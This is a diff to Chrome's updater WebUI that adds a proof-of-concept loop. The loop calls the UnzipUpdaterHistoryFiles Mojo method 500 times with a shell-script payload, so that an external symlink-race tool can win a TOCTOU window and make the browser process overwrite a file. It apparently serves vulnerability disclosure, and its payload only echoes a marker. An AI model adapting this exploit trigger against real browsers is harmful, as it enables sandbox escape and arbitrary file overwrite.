diff --git a/chrome/browser/resources/updater/app.ts b/chrome/browser/resources/updater/app.ts
index 1d297adeec1c6..94717fc49f672 100644
--- a/chrome/browser/resources/updater/app.ts
+++ b/chrome/browser/resources/updater/app.ts
@@ -90,6 +90,32 @@ export class UpdaterAppElement extends CrLitElement {
     if (this.pageDataSource === PageDataSource.INSTALL) {
       this.fetchInstallData();
     }
+    // POC: Simulate the user repeatedly selecting a ZIP via the "Load history"
+    // file picker. This drives the same renderer->browser Mojo call
+    // (PageHandler.UnzipUpdaterHistoryFiles) that the real UI issues from
+    // processHistoryFiles(). The payload is a recognizable marker so we can
+    // detect when the browser process has written it through a planted
+    // symlink. Runs many iterations to give the external symlink-race tool
+    // (simulating a compromised sandboxed child process) a chance to win the
+    // mkdtemp -> creat("input.zip") TOCTOU window.
+    void (async () => {
+      const payload = new TextEncoder().encode(
+          '#!/bin/sh\n# POC_SYMLINK_OVERWRITE_PAYLOAD\n' +
+          'echo browser-process-wrote-this\n');
+      const handler = browserProxyFactory.getInstance().handler;
+      for (let i = 0; i < 500; i++) {
+        const sb = Mojo.createSharedBuffer(payload.byteLength);
+        const map = sb.handle.mapBuffer(0, payload.byteLength);
+        new Uint8Array(map.buffer).set(payload);
+        await handler
+            .unzipUpdaterHistoryFiles({
+              sharedMemory:
+                  {bufferHandle: sb.handle, size: payload.byteLength},
+            })
+            .catch(() => {});
+      }
+      console.error('POC_TRIGGER_LOOP_DONE');
+    })();
   }
 
   protected onLoadHistoryClick() {